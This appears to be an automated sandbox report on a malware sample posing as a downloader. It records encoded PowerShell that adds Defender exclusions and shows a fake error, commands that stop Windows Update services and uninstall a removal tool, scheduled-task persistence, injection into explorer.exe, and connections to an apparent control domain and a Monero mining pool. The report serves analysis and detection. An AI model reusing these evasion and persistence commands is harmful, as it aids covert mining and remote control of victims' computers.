PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1884 wrote to memory of 4388 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 1884 wrote to memory of 4388 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 4340 wrote to memory of 4944 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4340 wrote to memory of 4944 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4340 wrote to memory of 4944 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4340 wrote to memory of 4944 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4340 wrote to memory of 4944 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe

Processes

C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe

"C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="

C:\Windows\Downloader_Menu_2.1.exe

"C:\Windows\Downloader_Menu_2.1.exe"

C:\Users\Admin\AppData\Roaming\risk.exe

"C:\Users\Admin\AppData\Roaming\risk.exe"

C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe

"C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"

C:\Users\Admin\cvtres.exe

C:\Users\Admin\cvtres.exe

C:\Windows\SysWOW64\schtasks.exe

"schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5EAA.tmp" /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\explorer.exe

explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 gulf.moneroocean.stream udp
DE 149.102.143.109:443 gulf.moneroocean.stream tcp
US 8.8.8.8:53 109.143.102.149.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 59.170.16.2.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 hax.onthewifi.com udp
US 8.8.8.8:53 5.173.189.20.in-addr.arpa udp

Files

C:\Windows\Downloader_Menu_2.1.exe

MD5 9d3195f106a540570da0d038bc07cf68
SHA1 33c1dd7a4101d1622b4d9268da0b731e00ddca39
SHA256 240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce
SHA512 9c7b0da3e2a01a05f61e39648d31851c5b0d70d7f20d865792cf4c8cec39ad764b2f11833116dbcdea57f3ec1785345921defbd656eab4fc23095b63ba889f69

C:\Users\Admin\AppData\Roaming\risk.exe

MD5 2cb05f0d4360327b33956fedf516c6fe
SHA1 4562653b1361ce66ded9633e5883d00184c08796
SHA256 af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6
SHA512 f0967245d1693d74d146356c9540a9ae0b848a96a6e58eacc111a951a6b32e01f325f8848b2b0c66b38dbfcdcb37e052ccfc27cf9b3b6752f3cba876181f6fa6

memory/3508-22-0x0000000000BD0000-0x0000000000BE2000-memory.dmp

memory/3744-23-0x00000000047C0000-0x00000000047F6000-memory.dmp

memory/3744-24-0x0000000004EF0000-0x0000000005518000-memory.dmp

memory/3744-26-0x0000000004E50000-0x0000000004E72000-memory.dmp

memory/1076-28-0x0000000004EB0000-0x0000000004F16000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmq2h4jq.5zu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1076-30-0x0000000005560000-0x00000000055C6000-memory.dmp

memory/1076-58-0x00000000055D0000-0x0000000005924000-memory.dmp

memory/3744-60-0x0000000005DE0000-0x0000000005E2C000-memory.dmp

memory/3744-59-0x0000000005D90000-0x0000000005DAE000-memory.dmp

memory/3744-66-0x00000000062C0000-0x00000000062DA000-memory.dmp

memory/1076-65-0x0000000006D70000-0x0000000006DA2000-memory.dmp

memory/3744-64-0x00000000075E0000-0x0000000007C5A000-memory.dmp

memory/1076-77-0x0000000006190000-0x00000000061AE000-memory.dmp

memory/1076-67-0x0000000074BD0000-0x0000000074C1C000-memory.dmp

memory/1076-78-0x0000000006DB0000-0x0000000006E53000-memory.dmp

memory/3744-79-0x0000000008210000-0x00000000087B4000-memory.dmp

memory/3744-80-0x0000000007160000-0x00000000071F2000-memory.dmp

memory/1076-81-0x0000000006F50000-0x0000000006F5A000-memory.dmp

memory/1076-82-0x0000000007150000-0x00000000071E6000-memory.dmp

memory/1076-83-0x00000000070D0000-0x00000000070E1000-memory.dmp

C:\Users\Admin\cvtres.exe

MD5 c9698a20e68954387eed40d36d17c087
SHA1 c50cf0ac1cbf51a89b6c1b816e5e63e7e7287179
SHA256 3a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f
SHA512 f8099e4e6bf6e1cd850faa398b3ef8862852342bef0ec8a7318495be6e82ddf903834b951faa6c5bbd0879414dcaccf3fec6ade4ef74054e08011d718ed1e813

memory/1076-86-0x0000000007110000-0x000000000711E000-memory.dmp

memory/5068-88-0x0000018063090000-0x0000018063098000-memory.dmp

memory/1076-89-0x0000000007120000-0x0000000007134000-memory.dmp

C:\Users\Admin\temp.bat

MD5 96b7afe999094957a1ce5b1c0ee0cb2f
SHA1 6b5d48b5f75246993de0263d27d2b9cdcc6ebf3f
SHA256 d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a
SHA512 ed7e02b26664b442f95fdf83af03d7773c017dadf3bec8c2d37cc2b30c49b6751a3104b85f00cfedbd145f422635e5b3ad49ea80adf7c0a92b06db474c6a238c

C:\Users\Admin\temp.ps1

MD5 5e817bbd9ef2f8821aa0283b20a51923
SHA1 102ca518d89653fb400636e660fa3fc276235c5c
SHA256 27f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7
SHA512 f21388e0655e6733abc70ff9fe2bbfdca00d81d2e7a09236d679293df34a966990f689f2d62119cdd877c7aeda35ab0c2b3c66108bc6b721e5dea34a93342d2e

memory/1076-92-0x0000000007210000-0x000000000722A000-memory.dmp

memory/1076-93-0x00000000071F0000-0x00000000071F8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp5EAA.tmp

MD5 c824a7486b8af655d347fd367022d0d2
SHA1 17bb7f077818e6d5ecb3be0fc681d341b82dd72b
SHA256 025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14
SHA512 a026982ac700263bf2dfd5415365dbe52b0e59095adfd00c937af28f5c84978faf65aeb2cd2c7c9dc5c7b38dc82dc2acc2d7b91e96026e73a881483168586bc1

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 09d571f8c9671fdd9e07e4305feaf74d
SHA1 4ed42a370a2f013a58bec0981b5c9bfd744c6499
SHA256 b5e4c6b736d9ebf9ed96c28a0d0b0aafdadc404b6e3f6355ad2458350e8055c3
SHA512 2d04f18a730364d178901765e574d62b02572a1f83eb7c29732e0ad5b1cfcf7c4957e5feb7405d951224f43590a8bb1a3a2fce0fb37334fcf14e3a75959470d6

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

memory/1660-103-0x0000018BF0130000-0x0000018BF0152000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 af6185dad89766f9282414fc4f603210
SHA1 6eff85cf9d389e71e55c1aa22adda320a0a19594
SHA256 129d2744c6ed93452e3f1b674a295e234f005503093d5f3f19979eadc530432f
SHA512 7acbfaa38df2c2d801a8c1cb233869070d3334f7c54d77f6c54bee3e88bd0faff2d98e4af989abcab70f64329650b038db0b11816fef2b5bb0cf42efc40ec690

C:\Users\Admin\temp_.ps1

MD5 5a0a8376c0e45cc25d4050920cee3dcc
SHA1 2de4ddf90f3165b245bd9f77c145c8f770c98b85
SHA256 86af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25
SHA512 f5afd39336d6b9f0590d68a716e8c3b403c13b98aae34d76f43e34698d2c6485e3dbce7a6439623362effec50ab0b2696b1ed25e377ba4dae75047ef419f51c0

C:\Users\Admin\temp_.bat

MD5 ff46d6b0970c55dba491b6dd06384f84
SHA1 c8be08575f2174a9a00bff33e3b1a7c1d9c4a025
SHA256 a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85
SHA512 b0d5b4eb5d9b58f35f218dffb43956716adb062626a75fcde11ba517e9d16d015f8a0d90ae72fbad47c87cbec86ef3e6a16347900f0c0be97e47f6d58bdac3a6

memory/1660-116-0x0000018BF8820000-0x0000018BF8D50000-memory.dmp

memory/1660-117-0x0000018BF9280000-0x0000018BF92F6000-memory.dmp

memory/1660-118-0x0000018BF8500000-0x0000018BF851E000-memory.dmp

memory/1660-120-0x0000018B90000000-0x0000018B90006000-memory.dmp

memory/4340-121-0x0000000140000000-0x0000000140508000-memory.dmp

memory/4340-122-0x0000000140000000-0x0000000140508000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 50f1cbc27816c3383e75c81819c52eba
SHA1 af1e75ca420d5f7338802e42016762a215c89321
SHA256 10422c1baedfb15ace78d300754ac7803dff07278a84cedc609371661cdad6a2
SHA512 f59fd9d48dacf9114ed1dc42f31dc483e90f6020c6aee941da672719f2656b46ec8a454455176db9288a7fcdeb6d11178d548ea0ec421d2ca55aa4a22fc64054

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9a6fe311e662e223ef8c4ccc6b6d6583
SHA1 8d4e33bfedc9e5bc19823ea499352bd92515dd9d
SHA256 b7b2504e05c04b3da11cabb4f4b13e28e924dcfa506c874e936998f71a7181fd
SHA512 fe90f0f8b1c7a51e24158463a53b8ab71eb97a6d0510e43bb61964b077c5a801a1ed62eed3d3f4b3a1b780d7a336291b9402e9657ee58759c6a68622eacbaee7

memory/4944-142-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-140-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-141-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-143-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-146-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-149-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-150-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-151-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-148-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-147-0x0000000001160000-0x0000000001180000-memory.dmp

memory/4944-145-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-144-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-152-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-153-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-155-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-156-0x0000000140000000-0x0000000140848000-memory.dmp

memory/4944-157-0x0000000140000000-0x0000000140848000-memory.dmp